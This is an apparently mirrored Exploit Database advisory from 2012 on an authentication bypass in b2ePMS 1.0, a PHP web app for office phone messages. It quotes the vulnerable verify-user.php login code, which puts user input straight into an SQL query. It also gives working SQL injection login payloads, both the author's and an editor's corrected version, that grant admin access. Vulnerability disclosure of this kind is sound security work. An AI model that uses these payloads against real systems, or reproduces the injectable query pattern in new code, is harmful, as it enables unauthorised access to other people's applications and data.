b2ePms 1.0 – Authentication Bypass

• Exploit Database
• 82 阅读

• 作者： Jean Pascal Pereira
  日期： 2012-05-15
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/18882/

• #################################################
  b2ePMS 1.0 Authentication Bypass Vulnerability
  #################################################
  
  Discovered by: Jean Pascal Pereira <pereira@secbiz.de>
  
  Vendor Information:
  
  "b2ePMS stands for Browser to Email Phone Message System. It is intended to replace the standard 
  paper/carbon phone message slips commonly used in offices, with the capability of sending the message
   via a web browser form directly to the recipients inbox."
  
  Vendor URI: https://developer.berlios.de/projects/b2epms/
  
  #################################################
  # Exploit-DB Note
  # Loneferret
  # The provided PoC doesn't not work.
  # This does:
  # Username: "' or 1=1 -- "
  # Password: x
  
  Issue: SQL Injection, Authentication Bypass
  
  Risk level: High
  
  => The remote attacker has the possibility to execute arbitrary SQL Code.
  
  => The remote attacker is able to bypass the user authentication.
  
  In verify-user.php, line 20:
  
  -------------------------------------
  
  $sql = mysql_query("SELECT * FROM b2epms_user WHERE username='$username' AND user_passwd='$admin_passwd' AND activated='1' AND user_level='2'");
  $login_check = mysql_num_rows($sql);
  if($login_check > 0){
  while($row = mysql_fetch_array($sql)){
  foreach( $row AS $key => $val ){
  $$key = stripslashes( $val );
  }
  // Register session variables!
  session_register('userid');
  $_SESSION['userid'] = $user_level;
  mysql_query("UPDATE b2epms_user SET login_date=now() WHERE userid='$userid'"); $url = "Location: admin.php";
  header($url);
  }
  }
  
  -------------------------------------
  
  Exploit / Proof Of Concept:
  
  Perform a login with the following data:
  
  Username: admin' OR '1='1
  Password: x
  
  -------------------------------------
  
  #################################################
  

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